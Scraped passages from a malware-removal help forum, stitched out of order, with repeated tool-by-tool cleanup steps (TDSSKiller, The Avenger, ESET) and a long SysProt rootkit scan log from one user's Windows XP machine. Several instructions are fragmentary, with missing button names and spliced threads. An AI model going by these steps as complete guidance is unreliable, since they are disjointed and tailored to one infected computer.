• When it is complete a new window will appear to indicate that the scan is finished.
• The log will be saved automatically in the same folder Sysprot.exe was extracted to. Open the text file and copy/paste the log here.

• Click on to download the ESET SMART Installer. Save it to your desktop.
  
• Double click on the icon on your desktop.
  

• Click the CleanUp button.
  
• Select Yes when the "Begin cleanup Process?" prompt appears.
  
• If you are prompted to Reboot during the cleanup, select Yes.
  
• The tool will delete itself once it finishes.

I removed a virus from my PC but, now I get that "Open With" WINDOW, and can't run programs. like Firefox etc.At least not without selecting the program I want to open it with each time.
I'm running Windows XP Home Edition.

I have TIRED going to http://www.dougknox.com/xp/file_assoc.htm already and I did the below steps but,no luck.

[Look to the "EXE File Association Fix", and download the .ZIP file to your computer desktop.. Once there, unzip the file, then double click on the "xp_exe_fix.reg" file that is inside, CHOOSE "OK/Yes, when it asks "Are you sure?".. Restart the computer.. It should now run those problem programs and Control Panel icons.]


HELP?

"Malware Finder has stopped working"

Stops working as soon as I press scan. Just my luck Please re-boot in Safe Mode and try run these two scans.Doesn't work in safe mode eitherOk Let's try this:

• Download TDSSKiller and save it to your Desktop.
  
• Extract its contents to your desktop.
• Once extracted, open the TDSSKiller folder and doubleclick on TDSSKiller.exe to run the application, then on Start Scan.
  
• If an infected file is detected, the default action will be Cure, click on Continue.
  
• If a suspicious file is detected, the default action will be Skip, click on Continue.
  
• It may ask you to reboot the computer to complete the process. Click on Reboot Now.
  
• Click the Report button and copy/paste the contents of it into your next reply
  

• Download The Avenger by Swandog46 from here.
  
• Unzip/extract it to a folder on your desktop.
• Double click on avenger.exe to run The Avenger.
  
• Click OK.
  
• Make sure that the box next to Scan for rootkits has a tick in it and that the box next to Automatically disable any rootkits found does not have a tick in it.
  
• Click the EXECUTE button.
  
• You will be asked No script has been entered. Do you want to execute a rootkit scan only?.
  
• Click Yes.
  
• You will now be asked First step completed --- The Avenger has been successfully set up to run on next boot. Reboot now?.
  
• Click Yes.
  
• Your PC will now be rebooted.
• After your PC has completed the necessary reboots, a log should automatically open. If it does not automatically open, then the log can be found at %systemdrive%\avenger.txt (typically C:\avenger.txt).
  
• Please post this log in your next reply.

• Click on to download the ESET Smart Installer. Save it to your desktop.
  
• Double click on the icon on your desktop.
  

• Click the CleanUp button.
  
• Select Yes when the "Begin cleanup Process?" prompt appears.
  
• If you are prompted to Reboot during the cleanup, select Yes.
  
• The tool will delete itself once it finishes.

Quote from: SuperDave on May 27, 2011, 01:24:21 PM

What browser are you using? Try download it with this method.
If you can't access the internet with your infected computer you will have to download and transfer any programs to the computer you're using now and transfer them to the infected computer with a CD-RW or a USB storage device. I prefer a CD because a storage device can get infected. If you use a storage device hold the shift key down while inserting the USB storage device for about 10 secs. You will also have to transfer the logs you receive back to the good computer using the same method until we can get the computer back on-line.

• Click on to download the ESET Smart Installer. Save it to your desktop.
  
• Double click on the icon on your desktop.
  

Your computer has keygens, which is a form of software piracy. What is so bad about Cracks, Hacks, Pirated software, warez, or Keygens?

Most popular cracks or keygens I see, are for Adobe CS3, a lot of different games, Nero, Kaspersky antivirus, and much more. All of these cracks and keygens have what is called "cloaked malware," which is a form of spyware or viruses or trojans that hide themselves inside the keygen or crack files. Most hacks for games that come in the form of a program or installer, will also be infected. It is the opportunity for attackers to present a seemingly safe situation where the opportunity to steal something is in play, while the malware infects your system in the process. Yes, it will install what you were looking for, but also allow malware to potentially take control of your computer.

Lastly, it is illegal. I will counsel you that we do not report such incidents. However, it is not good practice to pirate software.
Downloads\half-life\Half-Life_CD_Keygen
**************************************************************
I'd like to scan your machine with ESET OnlineScan

•Hold down Control and click on the following link to open ESET OnlineScan in a new window.
ESET OnlineScan
•Click the button.
•For alternate browsers only: (Microsoft Internet Explorer users can skip these steps)

• Click on to download the ESET Smart Installer. Save it to your desktop.
  
• Double click on the icon on your desktop.
  

•Check
•Click the button.
•Accept any security warnings from your browser.
•Check
•Push the Start button.
•ESET will then download updates for itself, install itself, and begin scanning your computer. Please be patient as this can take some time.
•When the scan completes, push
•Push , and save the file to your desktop using a unique name, such as ESETScan. Include the contents of this report in your next reply.
•Push the button.
•Push
A log file will be saved here: C:\Program Files\ESET\ESET Online Scanner\log.txt

• Click the CleanUp button.
  
• SELECT Yes when the "Begin cleanup Process?" prompt appears.
  
• If you are prompted to Reboot during the cleanup, select Yes.
  
• The tool will delete itself once it finishes.

I'm going to add two more steps that i did to completely fix it.

4: After Fixes, Run Windows Defender
5: Uninstall and reinstall Microsoft Security Essentials

And Done, Everything works and I have enforced Security.

Can a Moderator rename this to "Security Center service keeps disabeling"? So it comes up on serch engines.

Fixed!

Thanks SuperDave For all the for all the help

Great. Good moves.It's already named although I don't recommend anyone to follow this cleaning guide. It was created for your computer and could have adverse effects on another computer. Also, some programs are very powerful and if not used correctly, could permanently damage a computer. I'm curious. Which method in Reply # 22 did the trick so I'll know the next time I encounter this.
You're welcome.

Quote from: SuperDave on May 30, 2011, 05:48:05 PM

SpywareBlaster, ThreatFire etc. to catch the spyware and rogues. You should conside keeping SAS and MBAM on your COMPUTER. Update them and run them on a regular basis. Here's some good advice.
I do have MBAM and run it weekly. Will keep SAS and check into ThreatFire. Also have SpywareBlaster after my last problem.

How did I get infected?

This was a first for me....sure don't want it to happen again!

Im getting a POP up window that says something to the effect of,

"Adobe flash player security.. STOPPED potentially unsafe operation
Vitamin.networldsmedia.net

Click settings"

Sorry for the incomplete message. I TRIED to copy and past the message but It didn't work so Im going off of memory and what I had typed into my iphone google.

Any idea what this is and how i might fix it?

THANKS!
JONE post per question is enough. I'm locking this thread.

Results of screen317's Security Check version 0.99.8
Windows XP Service Pack 2
Out of date service pack!!
Internet Explorer 8
``````````````````````````````
Antivirus/Firewall Check:
Windows Firewall Disabled!
Norton 360
```````````````````````````````
Anti-MALWARE/Other Utilities Check:
Malwarebytes' Anti-Malware
Java(TM) 6 Update 13
Out of date Java installed!
Adobe Flash Player 10.0.42.34
Adobe Reader 9.1
Out of date Adobe Reader installed!
Mozilla Firefox (3.5.16) Firefox Out of Date!
````````````````````````````````
Process Check:
objlist.exe by Laurent
Norton ccSvcHst.exe
``````````End of Log````````````





SysProt AntiRootkit v1.0.1.0
by swatkat

******************************************************************************************
******************************************************************************************

No Hidden Processes found

******************************************************************************************
******************************************************************************************
Kernel Modules:
Module Name: SYMEFA.SYS
Service Name: SymEFA
Module Base: F73FD000
Module End: F744C000
Hidden: Yes

Module Name: \SystemRoot\System32\Drivers\dump_atapi.sys
Service Name: ---
Module Base: ED46F000
Module End: ED487000
Hidden: Yes

Module Name: \SystemRoot\System32\Drivers\dump_WMILIB.SYS
Service Name: ---
Module Base: F7BA4000
Module End: F7BA6000
Hidden: Yes

******************************************************************************************
******************************************************************************************
SSDT:
Function Name: ZwConnectPort
Address: 864AC1F8
Driver Base: 0
Driver End: 0
Driver Name: _unknown_

Function Name: ZwCreateThread
Address: 86665478
Driver Base: 0
Driver End: 0
Driver Name: _unknown_

Function Name: ZwLoadDriver
Address: 864427C0
Driver Base: 0
Driver End: 0
Driver Name: _unknown_

Function Name: ZwResumeThread
Address: 8637FA98
Driver Base: 0
Driver End: 0
Driver Name: _unknown_

******************************************************************************************
******************************************************************************************
No Kernel Hooks found

******************************************************************************************
******************************************************************************************
Hidden files/folders:
Object: C:\Documents and Settings\All Users\Application Data\Brother\BrLog\BrCollectDir\BR_cat.bat
Status: Access denied

Object: C:\Documents and Settings\All Users\Application Data\Brother\BrLog\BrCollectDir\BR_Compress_20080612_170148_1_1
Status: Access denied

Object: C:\Documents and Settings\All Users\Application Data\Brother\BrLog\BrCollectDir\BR_PC_CHK.txt
Status: Access denied

Object: C:\Documents and Settings\All Users\Application Data\Brother\BrLog\BrCollectDir\Progress_log_Compress.txt
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\AcroForm\MRUFormsList
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\AcroForm
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\AdobeComFnt06.lst
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\Collab\OfflineDocs
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\Collab\Reviews
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\Collab
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\eBooks
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\JSADM.exv
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\Messages\ENU\read0600win_ENUadbe000y.pdf
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\Messages\ENU
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\Messages
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\Preferences\AutoFillDefaults.dat
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\Preferences\defaultHeuristics.dat
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\Preferences
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\TMGrpPrm.sav
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\Updater\udstore.js
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0\Updater
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat\6.0
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Acrobat
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Flash Player\AssetCache\HEX9SQLJ\1846548181EAE8A4BB86AFC74FD021D9A0F6DFA6.heu
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Flash Player\AssetCache\HEX9SQLJ\1846548181EAE8A4BB86AFC74FD021D9A0F6DFA6.swz
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Flash Player\AssetCache\HEX9SQLJ\cacheSize.txt
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Flash Player\AssetCache\HEX9SQLJ
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Flash Player\AssetCache
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe\Flash Player
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Adobe
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\AdobeUM
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\desktop.ini
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Google\Local Search History\google%2Emaps.w
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Google\Local Search History\google%2Eweb.w
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Google\Local Search History
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Google
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Hamachi\Chat Logs
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Hamachi\client.id
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Hamachi\client.pri
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Hamachi\client.pub
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Hamachi\hamachi.ini
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Hamachi\Networks
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Hamachi\peers.ini
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Hamachi\RSA Keys\5.240.77.114.pub
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Hamachi\RSA Keys\5.36.119.27.pub
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Hamachi\RSA Keys
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Hamachi
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Identities\{DA85A781-721C-49D8-9E19-EF4A2E552F3B}
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Identities
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Intuit\Quicken\Config
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Intuit\Quicken\Data
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Intuit\Quicken
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Intuit
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\adcontent.videoegg.com\com.quantserve.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\adcontent.videoegg.com\EAPUSER.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\adcontent.videoegg.com\vepui.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\adcontent.videoegg.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\as1.suitesmart.com\6thElement.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\as1.suitesmart.com\_f5e.swf
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\as1.suitesmart.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\d.yimg.com\static.video.yahoo.com\yep\vyc_player.swf\yep_player.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\d.yimg.com\static.video.yahoo.com\yep\vyc_player.swf
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\d.yimg.com\static.video.yahoo.com\yep\YV_YEP.swf
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\d.yimg.com\static.video.yahoo.com\yep
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\d.yimg.com\static.video.yahoo.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\d.yimg.com\VolumePrefs.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\d.yimg.com\YEPBWPrefs.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\d.yimg.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\e.blip.tv\com.quantserve.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\e.blip.tv
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\flash.quantserve.com\com.quantserve.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\flash.quantserve.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\googleads.g.doubleclick.net\pagead\googleadplayer.swf\mediaPlayerUserSettings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\googleads.g.doubleclick.net\pagead\googleadplayer.swf
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\googleads.g.doubleclick.net\pagead
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\googleads.g.doubleclick.net
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\illumenix.com\StreamMinerInfo.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\illumenix.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\interclick.com\ud.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\interclick.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\l.yimg.com\a\a\1-\flash\promotions\us\general_motors\081113\container.swf\swfCounter.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\l.yimg.com\a\a\1-\flash\promotions\us\general_motors\081113\container.swf
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\l.yimg.com\a\a\1-\flash\promotions\us\general_motors\081113
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\l.yimg.com\a\a\1-\flash\promotions\us\general_motors
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\l.yimg.com\a\a\1-\flash\promotions\us
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\l.yimg.com\a\a\1-\flash\promotions
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\l.yimg.com\a\a\1-\flash
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\l.yimg.com\a\a\1-
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\l.yimg.com\a\a
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\l.yimg.com\a
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\l.yimg.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\login.yahoo.com\loginCache.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\login.yahoo.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\macromedia.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\media.podaddies.com\podaddies_user_data.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\media.podaddies.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\media.scanscout.com\SS_ARE_BrandAdHistory.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\media.scanscout.com\SS_ARE_CampaignHistory.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\media.scanscout.com\SS_ARE_CatFreqHist.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\media.scanscout.com\SS_ARE_DayFreqCap.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\media.scanscout.com\SS_ARE_RPCAdHistory.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\media.scanscout.com\SS_ARE_UserData.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\media.scanscout.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\pic.wretch.cc\e\serv\video\video_player\TransPlayer_20081101.swf\volume.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\pic.wretch.cc\e\serv\video\video_player\TransPlayer_20081101.swf
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\pic.wretch.cc\e\serv\video\video_player
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\pic.wretch.cc\e\serv\video
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\pic.wretch.cc\e\serv
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\pic.wretch.cc\e
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\pic.wretch.cc
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\s.ytimg.com\moduleData.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\s.ytimg.com\soundData.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\s.ytimg.com\videostats.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\s.ytimg.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\skype.com\#ui\preferences.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\skype.com\#ui
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\skype.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\static.youku.com\youkuqplayer.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\static.youku.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\tubemogul.com\InPlayCounts.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\tubemogul.com\PlayerLog.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\tubemogul.com\StreamMinerInfo.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\tubemogul.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\www.copacast.net\cpfuid.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\www.copacast.net
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\www.skype.com\download.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\www.skype.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\www.youtube.com\soundData.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\www.youtube.com\videostats.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT\www.youtube.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects\ZUJCLLHT
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\#SharedObjects
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#1.p6.webhosting.yahoo.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#1.p6.webhosting.yahoo.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#adcontent.videoegg.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#adcontent.videoegg.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#as1.suitesmart.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#as1.suitesmart.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#d.yimg.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#d.yimg.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#e.blip.tv\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#e.blip.tv
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#flash.quantserve.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#flash.quantserve.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#googleads.g.doubleclick.net\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#googleads.g.doubleclick.net
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#illumenix.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#illumenix.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#interclick.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#interclick.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#l.yimg.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#l.yimg.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#login.yahoo.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#login.yahoo.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#macromedia.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#macromedia.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#media.podaddies.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#media.podaddies.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#media.scanscout.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#media.scanscout.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#pic.wretch.cc\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#pic.wretch.cc
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#s.ytimg.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#s.ytimg.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#static.youku.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#static.youku.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#tubemogul.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#tubemogul.com
Status: Access denied

